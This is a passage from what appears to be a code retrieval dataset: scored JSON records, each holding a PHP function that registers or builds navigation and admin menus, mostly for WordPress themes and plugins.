$item ){\n create_menu($item, $current_page);\n }\n ?>\n </ul>\n <?php\n\n\t} else {\n echo (\"Menu is not added!!\");\n }\n\t \n}", "title": "" }, { "docid": "60de0293d02a896ab03cd843b23197ab", "score": "0.7224067", "text": "private function daveyjacobson_nav_menu() {\n register_nav_menus( array(\n 'main-menu' => esc_html__( 'Primary', 'daveyjacobson' ),\n ));\n }", "title": "" }, { "docid": "ad84ec89f05fb5d989cf212ee0f4b534", "score": "0.72165537", "text": "function register_my_menu() {\n register_nav_menu('header-menu',__( 'Header Menu' ));\n}", "title": "" }, { "docid": "52cd1f1f2ebed43007f98faf3cac1b98", "score": "0.72120106", "text": "function civisualize_civicrm_navigationMenu( &$params ) {\n // get the id of Administer Menu\n $reportMenuId = CRM_Core_DAO::getFieldValue('CRM_Core_BAO_Navigation', 'Reports', 'id', 'name');\n\n // skip adding menu if there is no administer menu\n if ($reportMenuId) {\n // get the maximum key under adminster menu\n $maxKey = max( array_keys($params[$reportMenuId]['child']));\n $params[$reportMenuId]['child'][$maxKey+1] = array (\n 'attributes' => array (\n 'label' => 'Civisualize',\n 'name' => 'Civisualize',\n 'url' => 'civicrm/dataviz',\n 'permission' => 'access CiviReport',\n 'operator' => NULL,\n 'separator' => TRUE,\n 'parentID' => $reportMenuId,\n 'navID' => $maxKey+1,\n 'active' => 1\n )\n );\n }\n}", "title": "" }, { "docid": "202c924809a4268e516236f54422b2ec", "score": "0.72110075", "text": "function register_my_menu() {\n \tregister_nav_menu('naada-secondary',__( 'Naada Secondary Menu' ));\n\t}", "title": "" }, { "docid": "1a1917e8ed0e9df35e3cfdfe38b88f0c", "score": "0.7196935", "text": "function mkd_burst_register_menus() {\n global $mkd_burst_options;\n\n if((isset($mkd_burst_options['header_bottom_appearance']) && $mkd_burst_options['header_bottom_appearance'] != \"stick_with_left_right_menu\") || (mkd_burst_is_side_header())){\n //header and left menu location\n register_nav_menus(\n array('top-navigation' => esc_html__( 'Top Navigation', 'burst')\n )\n );\n }\n\n\t\t//popup menu location\n\t\tregister_nav_menus(\n\t\t\tarray('popup-navigation' => esc_html__( 'Fullscreen Navigation', 'burst')\n\t\t\t)\n\t\t);\n\n if((isset($mkd_burst_options['header_bottom_appearance']) && $mkd_burst_options['header_bottom_appearance'] == \"stick_with_left_right_menu\") && (!mkd_burst_is_side_header())){\n //header left menu location\n register_nav_menus(\n array('left-top-navigation' => esc_html__( 'Left Top Navigation', 'burst')\n )\n );\n\n //header right menu location\n register_nav_menus(\n array('right-top-navigation' => esc_html__( 'Right Top Navigation', 'burst')\n )\n );\n }\n\t}", "title": "" }, { "docid": "ab5c350333171487cea20346280c5bfc", "score": "0.7192274", "text": "function register_menu() {\n\tregister_nav_menu('main-menu', __('Main Menu'));\n}", "title": "" }, { "docid": "76342416a8ad9df6ce898259f181379b", "score": "0.7159678", "text": "function reg_mymenu(){\n\tregister_nav_menu('header-menu', __('Main Menu'));\n}", "title": "" }, { "docid": "16606cbb865db3dce2870f9bf2438a1d", "score": "0.7144545", "text": "public function get_menu()\n {\n // Markers\n add_menu_page(\n 'Pinezki',\n 'Pinezki',\n 'read',\n self::MENU_SLUG_MARKERS,\n [&$this, 'get_markers_page_content'],\n 'dashicons-post-status',\n 26\n );\n add_submenu_page(\n self::MENU_SLUG_MARKERS,\n 'Pinezka',\n 'Dodaj nową',\n 'read',\n 'marker-edit',\n [&$this, 'get_marker_edit_page_content']\n );\n\n if (get_option('pinezka_ak_enable_teams') || current_user_can('edit_users')) {\n // Teams\n add_menu_page(\n 'Zespoły',\n 'Zespoły',\n 'read',\n self::MENU_SLUG_TEAMS,\n [&$this, 'get_teams_page_content'],\n 'dashicons-groups',\n 27\n );\n add_submenu_page(\n self::MENU_SLUG_TEAMS,\n 'Zespół',\n 'Dodaj nowy',\n 'read',\n 'team-edit',\n [&$this, 'get_team_edit_page_content']\n );\n }\n add_submenu_page(\n self::MENU_SLUG_TEAMS,\n 'Ustawienia zespołów',\n 'Ustawienia',\n 'edit_users',\n 'team-settings',\n [&$this, 'get_team_settings_page_content']\n );\n }", "title": "" }, { "docid": "babc13322961e7fcd2a5457028effeb4", "score": "0.7139639", "text": "function load_template_menu($strRole = 1) {\n\t \t$baseurl = get_instance()->config->base_url();\n\n\t \t$tagStart = '<ul class=\"nav side-menu\">\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<a href=\"'.$baseurl.'dashboard\"><i class=\"fa fa-home\"></i> Dashboard </a>\n\t\t\t\t\t\t\t</li>';\n\t \t$tagEnd = '</ul>';\n\n\t \t$tagMenuUser = '<li><a><i class=\"fa fa-user\"></i> Users <span class=\"fa fa-chevron-down\"></span></a>\n\t\t\t\t\t\t\t\t<ul class=\"nav child_menu\">\n\t\t\t\t\t\t \t<li><a href=\"'.$baseurl.'user\">User List</a></li>\n\t\t\t\t\t\t </ul>\n\t\t\t\t\t\t </li>';\n\t \t$tagMenuApp = '<li><a><i class=\"fa fa-th-large\"></i> Applications <span class=\"fa fa-chevron-down\"></span></a>\n\t\t\t\t\t\t <ul class=\"nav child_menu\">\n\t\t\t\t\t\t <li><a href=\"'.$baseurl.'applicationClient\">Application List</a></li>\n\t\t\t\t\t\t </ul>\n\t\t\t\t\t\t </li>';\n\t \t$tagMenuToken = '<li><a><i class=\"fa fa-key\"></i> Tokens <span class=\"fa fa-chevron-down\"></span></a>\n\t\t\t\t\t\t <ul class=\"nav child_menu\">\n\t\t\t\t\t\t <li><a href=\"'.$baseurl.'token\">Token List</a></li>\n\t\t\t\t\t\t </ul>\n\t\t\t\t\t\t </li>';\n\t \t$tagMenuLog = '<li><a><i class=\"fa fa-braille\"></i> Logs <span class=\"fa fa-chevron-down\"></span></a>\n\t\t\t\t\t\t <ul class=\"nav child_menu\">\n\t\t\t\t\t\t \t<li><a href=\"'.$baseurl.'log\">Application Logs</a></li>\n\t\t\t\t\t\t \t<!--<li><a href=\"'.$baseurl.'log/advanced\">Search Log</a></li>-->\n\t\t\t\t\t\t </ul>\n\t\t\t\t\t\t </li>';\n\t \t$tagMenuSettings = '<li><a><i class=\"fa fa-cog\"></i> Settings <span class=\"fa fa-chevron-down\"></span></a>\n\t\t\t\t\t\t <ul class=\"nav child_menu\">\n\t\t\t\t\t\t <li><a href=\"'.$baseurl.'setting/myprofile\">My Profile</a></li>\n\t\t\t\t\t\t <li><a href=\"'.$baseurl.'setting/changepassword\">Change Password</a></li>\n\t\t\t\t\t\t <li><a href=\"'.$baseurl.'setting/help\">Help</a></li>\n\t\t\t\t\t\t </ul>\n\t\t\t\t\t\t </li>';\n\t \t$tagMenuAdmin = '<li><a><i class=\"fa fa-user-secret\"></i> Admins <span class=\"fa fa-chevron-down\"></span></a>\n\t\t\t\t\t\t <ul class=\"nav child_menu\">\n\t\t\t\t\t\t <li><a href=\"'.$baseurl.'admin\">Admin List</a></li>\n\t\t\t\t\t\t </ul>\n\t\t\t\t\t\t </li>';\n\n\t\t\tif ($strRole == 1) {\n\t\t\t\techo $tagStart.$tagMenuUser.$tagMenuApp.$tagMenuLog.$tagMenuSettings.$tagEnd;\n\t\t\t}else{\n\t\t\t\techo $tagStart.$tagMenuUser.$tagMenuApp.$tagMenuToken.$tagMenuLog.$tagMenuAdmin.$tagMenuSettings.$tagEnd;\n\t\t\t}\n\t }", "title": "" }, { "docid": "ae2c5edb1a923236b68a4963cc5a3f98", "score": "0.71366274", "text": "public function createMenu() {\n\t\tadd_menu_page('Theme Switcher', 'Theme Switcher', 'manage_options', UserAgentThemeSwitcher::PAGE_TEMPLATE, array($this, 'processUserAgentTemplate'), null);\n\t\tadd_submenu_page(UserAgentThemeSwitcher::PAGE_TEMPLATE, 'Cache', 'cache options', 'manage_options', 'useragent-cache', array($this, 'processUserAgentCache'), null);\n\t\tadd_submenu_page(UserAgentThemeSwitcher::PAGE_TEMPLATE, 'Unsoported user agents', 'debuged useragents', 'manage_options', 'useragent-debug', array($this, 'processUserAgentDebug'), null);\n\t}", "title": "" }, { "docid": "b346309011daaaab9e760f7902bbeba3", "score": "0.7131984", "text": "function register_my_menu(){\n register_nav_menus(\n array(\n 'top-menu' => _('Top Menu'),\n 'footer-left' => _('Left footer menu'),\n 'footer-middle' => _('Middle footer menu'),\n 'footer-right' => _('Right footer menu'),\n )\n );\n\n}", "title": "" }, { "docid": "026c071eb1e97e268846d6a18353eaa1", "score": "0.7125104", "text": "function register_my_menus() { \t\r\nregister_nav_menus( \t\tarray( 'sidebar-menu' => __( 'Sidebar Menu' ), 'footer-menu' => __( 'Footer Menu' ), 'topright-menu' => __( 'Top Right Menu' ) ) );}", "title": "" }, { "docid": "2355ce2f73a26ee01564a815c086ae19", "score": "0.7124999", "text": "function javiergarval_nav_menus() {\n\tregister_nav_menus(\n\t\tarray(\n\t\t\t'menu-principal'\t=> __( 'Principal', 'javiergarval-theme' )\n\t\t)\n\t);\n unregister_nav_menu( 'menu-navegacion' );\n}", "title": "" }, { "docid": "f68bd4f7b2d6cbf4ee32022eec33a6be", "score": "0.7121093", "text": "function newstime_theme_menu(){\n register_nav_menu('header_menu', __('Header Menu', 'newstime'));\n register_nav_menu('footer_menu', __('Footer Menu', 'newstime'));\n }", "title": "" }, { "docid": "c2f51cdaeb222863a01f028836535aaa", "score": "0.7114177", "text": "function jb_plugin_setup_menu(){\n\t/* add_menu_page( 'Page Title', 'Menu Title / Name', 'manage_options', 'page name in URL', 'Function to call','https://lh3.googleusercontent.com/FBP3gbsGv0LrE2tpZ0KMvp6N2vJwT-c9QIzh5cLkB4l_-QV-jQgXWd9c8rnMMZDA9hpakmBlDgYVp8TxxO8'); */\n\tadd_menu_page( 'JumpByte Overview', 'JumpByte', 'manage_options', 'JumpByte', 'jb_init' );\n\n\t/* add_submenu_page( 'Parent Slug', 'Page Title', 'Menu Title / Name', 'manage_options', 'page name in URL', 'jb_Setting' ); */\n\tadd_submenu_page( 'JumpByte', 'JumpByte Setting', 'Setting', 'manage_options', 'JB_Setting', 'jb_setting' );\n\tadd_submenu_page( 'JumpByte', 'JumpByte - About', 'About', 'manage_options', 'jb_about', 'jb_about' );\n}", "title": "" }, { "docid": "4ccd332da9ba05a1c5e9a02b2491376a", "score": "0.7109583", "text": "function rachel_register_menus() {\n register_nav_menus(\n array(\n 'header-menu' => __('Header Menu'),\n 'footer-menu' => __('Footer Menu'),\n 'terms-menu' => __('Terms and Conditions Menu'),\n 'blog-menu' => __('Blog Menu')\n )\n );\n }", "title": "" }, { "docid": "8654319cc66120dc3a1e5f83863bcc5c", "score": "0.7106916", "text": "function vanderweb_register_nav_menu(){\r\n register_nav_menus( array(\r\n 'main_menu' => __( 'Main Menu', 'vanderweb' ),\r\n ) );\r\n}", "title": "" }, { "docid": "b83781b12a581156a47e7d21a0ba9029", "score": "0.7102909", "text": "function register_menus() {\n\t\tregister_nav_menus(\n\t\t\tarray(\n\t\t\t\t'header-menu' => __( 'Header Menu'),\n\t\t\t\t'mobile-menu' => __( 'Mobile Menu'),\n\t\t\t\t'footer-menu' => __( 'Footer Menu')\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "6264cce08ccb7cf104006e0d88c9bf8c", "score": "0.7101536", "text": "public function load_menus() \n {\n\t\tdo_action( 'load_menus' );\n\t\t\n\t}", "title": "" }, { "docid": "bf33d573c7267010d3cf79ec971cfd96", "score": "0.7094144", "text": "public function add_menu_pages() {\n\t\t$dispatch_callback = array( $this, 'output' );\n\n\t\t// Home page (also change the first submenu item's title).\n\t\tadd_menu_page( 'Custom Data', 'Custom Data', 'read', CMS_SLUG, $dispatch_callback );\n\t\t$page_title = ( isset( $_GET['table'] ) ) ? Text::titlecase( $_GET['table'] ) : 'Cms';\n\t\tadd_submenu_page( CMS_SLUG, $page_title, 'Overview', 'read', CMS_SLUG, $dispatch_callback );\n\n\t\t// Add submenu pages.\n\t\tif ( Util::is_plugin_active( 'tfo-graphviz/tfo-graphviz.php' ) ) {\n\t\t\tadd_submenu_page( CMS_SLUG, 'Cms ERD', 'ERD', 'read', CMS_SLUG . '_erd', $dispatch_callback );\n\t\t}\n\n\t\t// EDWIN\n\t\t//add_submenu_page( CMS_SLUG, 'Cms Reports', 'Reports', 'promote_users', CMS_SLUG . '_reports', $dispatch_callback );\n\t\t//add_submenu_page( CMS_SLUG, 'Cms Grants', 'Grants', 'promote_users', CMS_SLUG . '_grants', $dispatch_callback );\n\t}", "title": "" }, { "docid": "f3c741795c7b1e7d7cdb4746af9b025f", "score": "0.70866114", "text": "function register_menus() {\n register_nav_menus(\n array(\n 'main-menu' => 'Main Menu', /* Primary meny in the header */\n\n //footer menu items\n 'footer-menu' => 'Footer Menu', \n )\n );\n}", "title": "" }, { "docid": "789bb6a2348e60e6fce9e3bb49e855b3", "score": "0.7085512", "text": "public static function menu()\n {\n add_menu_page(\n 'SekshiBot',\n 'SekshiBot',\n 'read',\n 'sekshibot',\n 'WeLoveKpop\\MostPlayed\\Admin\\OptionsPage::show',\n plugins_url('../css/icons/sekshi.png', __FILE__)\n );\n\n // set submenu item name\n add_submenu_page(\n 'sekshibot',\n 'SekshiBot Options',\n 'General',\n 'read',\n 'sekshibot',\n 'WeLoveKpop\\MostPlayed\\Admin\\OptionsPage::show'\n );\n\n add_submenu_page(\n 'sekshibot',\n 'SekshiBot - Media',\n 'Media',\n 'activate_plugins',\n 'sekshibot-media',\n 'WeLoveKpop\\MostPlayed\\Admin\\MediaPage::show'\n );\n }", "title": "" }, { "docid": "5027cd752c1db445c79bb90aa77bc86d", "score": "0.70831335", "text": "function add_menu() {\n register_menu( array(\n 'header-menu' => 'Header Menu',\n ));\n}", "title": "" }, { "docid": "5fa4e74101d70a08590dbba9da6686f6", "score": "0.7081131", "text": "function register_additional_nav_menus() {\n register_nav_menus( array(\n 'primary' => __( 'Primary Menu', 'andexone' ),\n 'secondary' => __( 'Seconday Menu', 'andexone' ),\n 'main' => __( 'Main Menu', 'andexone' ),\n ) );\n}", "title": "" }, { "docid": "e0b57f62719914dc76a51228ec74ac9e", "score": "0.7076921", "text": "function orbital_nav_menus() {\n \n register_nav_menus(\n array(\n 'header-menu' => __( 'Header Menu' ),\n 'footer-menu' => __( 'Footer Menu' )\n \n // Add additional navigation menus here //\n )\n );\n \n}", "title": "" }, { "docid": "08aedda59b9d2533201c7ccbdc404bd6", "score": "0.7076393", "text": "function menus()\n{\n\n $locations = array(\n 'primary-desktop' => __('Primary Desktop', 'wordpress-starter'),\n 'primary-mobile' => __('Primary Mobile', 'wordpress-starter'),\n );\n\n register_nav_menus($locations);\n}", "title": "" }, { "docid": "6243b8dad9cdf30e60f2a811afcc868c", "score": "0.70711696", "text": "public function addMenus()\n {\n add_menu_page(\"Facebook Settings\", \"Facebook Settings\", \"administrator\", 'kma-facebook', function () {\n include(wp_normalize_path( dirname(dirname(dirname(__FILE__))) . '/dist/AdminOverview.php'));\n }, \"dashicons-admin-generic\");\n }", "title": "" }, { "docid": "9c1d53ad42943e59f81f6fbc5976f211", "score": "0.7064198", "text": "function sunsetWp_register_nav_menu() {\n\t\tregister_nav_menu('primary', 'Header Navigation Menu');\n\t\tregister_nav_menu('secondary', 'Footer Navigation Menu');\n\t}", "title": "" }, { "docid": "bf2966daf203f120a72f16d5c0cb03e9", "score": "0.70622", "text": "function wpb_custom_new_menu() {\n register_nav_menus(\n array(\n 'menu-link-halaman' => __( 'Menu Link/Halaman'),\n 'menu-link-utama' => __( 'Menu Navigasi Utama'),\n 'link-footer-sosmed' => __( 'Link Footer Sosmed'),\n )\n );\n}", "title": "" }, { "docid": "14023691f95c964bff92b90d6ae849e7", "score": "0.7051351", "text": "function register_my_menu() {\n register_nav_menu('mobile_menu',__( 'Mobile Menu' ));\n}", "title": "" }, { "docid": "3867c65f0355aee6f6cb08734ddefe98", "score": "0.7035306", "text": "public function set_demo_menus(){\n\n\t\t\t// Menus to Import and assign - you can remove or add as many as you want\n\t\t\t$top_menu = get_term_by( 'name', 'Top menu', 'nav_menu' );\n\t\t\t\n\t\t\tif ( $top_menu ) {\t\n\t\t\t\tset_theme_mod( 'nav_menu_locations', array(\n\t\t\t\t\t\t'top' => $top_menu->term_id\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t$this->flag_as_imported['menus'] = true;\n\n\t\t}", "title": "" }, { "docid": "54dcdce6a0a853e4bbbdd6db3e040bc7", "score": "0.7032313", "text": "function wpb_custom_new_menu() {\r\n register_nav_menu('my-custom-menu',__( 'My Custom Menu' ));\r\n}", "title": "" }, { "docid": "2ae7002632957da93ccdd39c297c1877", "score": "0.7031123", "text": "function custom_navigation_menus() {\n\n\t$locations = array(\n\t\t'Primary Site Menu' => 'The most important links on the site.',\n\t\t'Secondary Menu' => 'Good links to have available, but not of primary importance',\n\t\t'Footer Menu' => 'Links about This Magazine that appear in the footer'\n\t);\n\tregister_nav_menus( $locations );\n\n}", "title": "" }, { "docid": "c4d031b42a1fdf524c4af94d58d28dde", "score": "0.7020611", "text": "function register_theme_menus()\n{\n register_nav_menus(\n array(\n 'nav-menu' => _('Navigation'),\n \n )\n );\n}", "title": "" }, { "docid": "acc7e3cb4032088e2d7851b0d23bd54c", "score": "0.7011163", "text": "function aktt_menu_items() {\n/*\n\tif (current_user_can('manage_options')) {\n\t\tadd_options_page(\n\t\t\t__('Auto Shop Options', 'auto-shop')\n\t\t\t, __('Auto Shop', 'auto-shop')\n\t\t\t, 10\n\t\t\t, basename(__FILE__)\n\t\t\t, 'autoshop_options_form'\n\t\t);\n\t}\n*/\n\tif (current_user_can('publish_posts')) {\n\t\tadd_menu_page(\n\t\t\t'Auto Shop'\n , 'Auto Shop'\n , 2\n , 'autoshop-menu'\n\t\t);\n\t\tadd_submenu_page(\n\t\t\t'autoshop-menu'\n\t\t\t,'Edit Vehicle'\n\t\t\t,'Edit Vehicle'\n\t\t\t, 2\n\t\t\t, 'autoshop-menu'\n\t\t\t, 'autoshop_edit_vehicle_form'\n\t\t);\n\t\tadd_submenu_page(\n\t\t\t'autoshop-menu'\n\t\t\t,'New Vehicle'\n\t\t\t,'New Vehicle'\n\t\t\t, 2\n\t\t\t, basename(__FILE__)\n\t\t\t, 'autoshop_new_vehicle_form'\n\t\t);\n\t}\n}", "title": "" }, { "docid": "282f4e786636f4d75d229b587d733a4e", "score": "0.7005872", "text": "function at_try_menu() {\n add_menu_page('employee_list', //page title\n 'Employee Listing', //menu title\n 'manage_options', //capabilities\n 'Employee_Listing', //menu slug\n employee_list //function\n );\n //adding submenu to a menu\n add_submenu_page('Employee_Listing',//parent page slug\n 'employee_insert',//page title\n 'Employee Insert',//menu titel\n 'manage_options',//manage optios\n 'Employee_Insert',//slug\n 'employee_insert'//function\n );\n add_submenu_page( null,//parent page slug\n 'employee_update',//$page_title\n 'Employee Update',// $menu_title\n 'manage_options',// $capability\n 'Employee_Update',// $menu_slug,\n 'employee_update'// $function\n );\n add_submenu_page( null,//parent page slug\n 'employee_delete',//$page_title\n 'Employee Delete',// $menu_title\n 'manage_options',// $capability\n 'Employee_Delete',// $menu_slug,\n 'employee_delete'// $function\n );\n}", "title": "" }, { "docid": "643c10062fd78cbdc485a3a0eacfd562", "score": "0.6992473", "text": "public static function buildMenus()\r\n\t{\r\n\t\t$registry = Zend_Registry::getInstance();\r\n\t\t#get the available tags that could be filled by a menu\r\n\t\t$get_available_menu = GetTheAvailableMenus();\r\n\t\t$get_menus_ids = array();\r\n\t\tif (count($get_available_menu) != '0')\r\n\t\t{\r\n\t\t\t#get the menus ids\r\n\t\t\t$i = 0;\r\n\t\t\tforeach ($get_available_menu as $key => $val)\r\n\t\t\t{\r\n\t\t\t\t$get_menus_ids[$i] = str_replace(\"DISPLAY_MENU_\", \"\", $val);\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t}\r\n\t\t#get each menu and display it into its place\r\n\t\tif (count($get_menus_ids) != '0')\r\n\t\t{\r\n\t\t\tforeach ($get_menus_ids as $key => $val)\r\n\t\t\t{\r\n\t\t\t\tif ($val != \"2\")#because the id menu is for the sub menu\r\n\t\t\t\t{\r\n\t\t\t\t\tCreateMenu($val, $registry->route['module'], @$registry->route['action'], @$registry->route['param1']);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tCreateSubMenu($registry->route['module'], @$registry->route['action'], @$registry->route['param1']);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "7efee94c9fc4c6ba5351f61cf100b3bc", "score": "0.69921005", "text": "function fs_register_nav_menu() {\n\n $menu_exists = wp_get_nav_menu_object( 'Header Menu' );\n if( !$menu_exists) {\n register_nav_menu('header-menu', __('Header Menu'));\n $menu_id = wp_create_nav_menu('FS Theme Header Menu');\n //var_dump($menu_id);\n\n wp_update_nav_menu_item($menu_id, 0, array(\n 'menu-item-title' => 'News',\n 'menu-item-object-id' => get_page_by_title('News')->ID,\n 'menu-item-classes' => 'line_style',\n 'menu-item-object' => 'page',\n 'menu-item-status' => 'publish',\n 'menu-item-type' => 'post_type')\n );\n\n wp_update_nav_menu_item($menu_id, 0, array(\n 'menu-item-title' => 'Aktive Vertreter',\n 'menu-item-object-id' => get_page_by_title('Aktive Vertreter')->ID,\n 'menu-item-classes' => 'face',\n 'menu-item-object' => 'page',\n 'menu-item-status' => 'publish',\n 'menu-item-type' => 'post_type')\n );\n\n wp_update_nav_menu_item($menu_id, 0, array(\n 'menu-item-title' => 'Keine Panik',\n 'menu-item-object-id' => get_page_by_title('Keine Panik')->ID,\n 'menu-item-classes' => 'help',\n 'menu-item-object' => 'page',\n 'menu-item-status' => 'publish',\n 'menu-item-type' => 'post_type')\n );\n\n wp_update_nav_menu_item($menu_id, 0, array(\n 'menu-item-title' => __('Login'),\n 'menu-item-classes' => 'fingerprint',\n 'menu-item-url' => home_url( '/wp-admin'),\n 'menu-item-status' => 'publish',\n 'menu-item-type' => 'custom')\n );\n\n if( !has_nav_menu( 'header-menu' ) ){\n $locations = get_theme_mod('nav_menu_locations');\n $locations['header-menu'] = $menu_id;\n set_theme_mod( 'nav_menu_locations', $locations );\n }\n }\n\n}", "title": "" }, { "docid": "021fa18be0a3a0fd2963c21f8edb8f29", "score": "0.69900936", "text": "public function injectGlobalMenu();", "title": "" }, { "docid": "d67b570edf623d259508ecae246b9542", "score": "0.6984943", "text": "function cws_register_menus() {\n\tregister_nav_menus(\n\t\tarray(\n\t\t\t'header-menu' => __( 'Header Menu' ),\n\t\t\t'footer-menu' => __( 'Footer Menu' ),\n\t\t\t//'sub-footer-menu' => __( 'Sub Footer Menu' ),\n\t\t\t'interior-menu' => __( 'Interior Menu' )\n\t\t)\n\t);\n}", "title": "" }, { "docid": "c374590f31bf0010c8038724289dd85f", "score": "0.6981071", "text": "function build_menu($type){\n\t\t$level = $this->ci->session->userdata('obj_level');\n $menu = array();\n\t\t$query = $this->ci->db->query(\"select * from vw_sys_usr_menu where obj_level = '\". $level . \"'\");\t\t\n\t\t//$query = $this->ci->db->query(\"select * from sys_menu\"); > ORI REMMED\n switch ($type){\n case 0: // 0 = top menu\n break; \n case 1: // 1 = horizontal menu\n $html_out = \"\\t\\t\".'<ul '.$this->class_menu.'>'.\"\\n\";\n break; \n case 2: // 2 = sidebar menu\n $html_out = \"\\t\\t\".'<ul '.$this->class_menu.'>'.\"\\n\";\n\t\t\t\tbreak;\n case 3: // 3 = footer menu\n break;\n default: // default = horizontal menu\n $html_out .= \"\\t\\t\".'<ul '.$this->class_menu.'>'.\"\\n\";\n break;\n }\n\t\tforeach ($query->result() as $row){\n\t\t\t$id = $row->id;\n\t\t\t$title = $row->title;\n\t\t\t$link_type = $row->link_type;\n\t\t\t$page_id = $row->page_id;\n\t\t\t$module_name = $row->module_name;\n\t\t\t$url = $row->url;\n\t\t\t$uri = $row->uri;\n\t\t\t$dyn_group_id = $row->dyn_group_id;\n\t\t\t$position = $row->position;\n\t\t\t$target = $row->target;\n\t\t\t$parent_id = $row->parent_id;\n\t\t\t$is_parent = $row->is_parent;\n\t\t\t$show_menu = $row->show_menu;\n\t\t\t$fa_icon = $row->fa_icon;\n\t\t\tif ($show_menu && $parent_id == 0){\n\t\t\t\tif($is_parent == 1){\n\t\t\t\t\t$html_out .= '<li>'.anchor($url, '<i class=\"'.$fa_icon.'\"></i> '.$title.\"<i class='fa fa-angle-left pull-right'></i>\", 'name=\"'.$title.'\" id=\"'.$id.'\" target=\"'.$target.'\"');\n\t\t\t\t\t$html_out .= $this->get_childs($id);\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\t$html_out .= '<li>'.anchor($url, '<i class=\"'.$fa_icon.'\"></i> '.$title, 'name=\"'.$title.'\" id=\"'.$id.'\" target=\"'.$target.'\"');\n\t\t\t\t\t$html_out .= $this->get_childs($id);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$html_out .= '</li>'.\"\\n\";\n\t\t$html_out .= \"\\t\\t\".'</ul>' . \"\\n\";\n\t\treturn $html_out;\n\t}", "title": "" }, { "docid": "f10f860940f5266d4223bf870dc6405a", "score": "0.69806796", "text": "function main_nav() {\n\tregister_nav_menus(\n\t\tarray(\n\t\t\t'header-menu' => __( 'Header Menu' ),\n\t\t\t'footer-menu-1' => __( 'Footer Menu 1' ),\n\t\t\t'footer-menu-2' => __( 'Footer Menu 2' ),\n\t\t\t'footer-menu-3' => __( 'Footer Menu 3' ),\n\n\t\t)\n\t);\n}", "title": "" }, { "docid": "541dd881d55fa69b8d847c873b8a52b5", "score": "0.6979141", "text": "public function _adminMenu() {\n\n\t\t// init vars\n\t\t$name = $this->xml->first('name')->text();\n\t\t$icon = $this['path']->url('config:images/yoo_icon_16.png');\n\n\t add_menu_page('', $name, apply_filters('warp_edit_theme_options', 'edit_theme_options'), 'warp', false, $icon);\n\n\t\tadd_submenu_page('warp', 'Theme Options', 'Theme Options', apply_filters('warp_edit_theme_options', 'edit_theme_options'), 'warp', array($this, '_adminThemeOptions'));\n\t\tadd_submenu_page('warp', 'Widget Options', 'Widget Options', apply_filters('warp_edit_theme_options', 'edit_theme_options'), 'warp_widget', array($this, '_adminWidgetOptions'));\n\t}", "title": "" }, { "docid": "6a90e8400189977c60e680c4cb624702", "score": "0.6971591", "text": "protected function menu()\n {\n }", "title": "" }, { "docid": "88a0f11a55fe5d34aff08dcff55ae939", "score": "0.6970794", "text": "function reg_admn_menu(){\n\t\tadd_menu_page(__(\"Html Social Share\", \"zm-sh\"), __(\"Html Social Share\", \"zm-sh\"),\"administrator\", \"zm_shbt_opt\",array($this,\"zm_sh_opt\"),\"\",\"59.679861\");\n\t}", "title": "" }, { "docid": "3c2699603b17b7e72e934236dd5a2f29", "score": "0.69640106", "text": "function custom_menus(){ //this just creates the function\n register_nav_menus( array(\n 'header-menu' => __('header menu'),\n 'footer-menu' => __('footer menu')\n ));\n }", "title": "" }, { "docid": "d716c6866b782b8ea8a9ab05f9dd743e", "score": "0.69631183", "text": "private function setupMenus()\n {\n $menus = service('menus');\n\n // Sidebar menu\n $menus->createMenu('sidebar');\n $menus->menu('sidebar')\n ->createCollection('settings', 'Settings')\n ->setFontAwesomeIcon('fas fa-cog');\n\n // Top \"icon\" menu for notifications, account, etc.\n $menus->createMenu('iconbar');\n }", "title": "" }, { "docid": "015b8a6932125cad51c6f348e0baade7", "score": "0.69609666", "text": "function wpb_custom_new_menu() {\n register_nav_menu('my-custom-menu',__( 'My Custom Menu' ));\n}", "title": "" }, { "docid": "d2e9527fd9dc5231abe8c8ff597e83dd", "score": "0.69593847", "text": "function init_menu() {\n\t\tif (func_num_args()>0) {\n\t\t\t$arg_list = func_get_args();\n\t\t}\n \n //print_r($arg_list);\n\t\t\n // set_menu parameters\n // set_menu([module name], [menu title - what is displayed], menu categories (top menu)], [script executed in class])\n //module::set_menu($this->module, \"Dental Records\", \"PATIENTS\", \"_consult_dental\");\n // set_detail parameters\n // set_detail([module description], [module version], [module author], [module name/id]\n module::set_detail($this->description, $this->version, $this->author, $this->module);\n }", "title": "" }, { "docid": "6cd5ee35318d04d30b02c2824ce60407", "score": "0.69570047", "text": "function add_menu() {\n\t\t\tadd_submenu_page('themes.php', obt_translate('Configure %1',$this->infos['theme_name']), obt_translate('Configure %1',$this->infos['theme_name']), 2, 'theme-options.php', array(&$this,'admin_menu'));\n\t\t\t//add_theme_page(obt_translate('Configurar %1 (ADMIN)',$this->infos['theme_name']), obt_translate('Configurar %1 (ADMIN)',$this->infos['theme_name']), 'edit_themes', basename($this->file), array(&$this,'admin_menu'));\n\t\t\t/* Thank you MCincubus for opening my eyes on the last parameter :) */\n\t\t}", "title": "" }, { "docid": "bf8683f154090415464128d2a44cd0a8", "score": "0.6948675", "text": "public function createMenu();", "title": "" }, { "docid": "caba1666778d93e5d4213f90035ab6a2", "score": "0.6938833", "text": "function menuConfig()\t{\n\t\tglobal $LANG;\n\t\t$this->MOD_MENU = Array (\n 'function' => Array (\n '1' => $LANG->getLL('function1'),\n '2' => $LANG->getLL('function2'),\n '3' => $LANG->getLL('function3'),\n\t\t)\n\t\t);\n\t\tparent::menuConfig();\n\t}", "title": "" }, { "docid": "c552d4c1d0f9d7762bae4f83d0b868eb", "score": "0.6938378", "text": "function getMenuItems()\n {\n $this->menuitem(\"time_registration\", dispatch_url(\"weektimereg.weekhours\", \"weekregistration\"), \"main\", true, 100);\n\n // Add the weektimereg menuitem in the time_registration menu, eventually overwriting the\n // default hours_admin link if specified by config\n $weekhoursadminname = atkconfig(\"weektimereg_replacedefaulttimereg\", false) ? \"hours_admin\" : \"weekhours_admin\";\n $this->menuitem($weekhoursadminname, dispatch_url(\"weektimereg.weekhours\", \"weekregistration\"),\"time_registration\",array(\"timereg.hours\", \"admin\"), 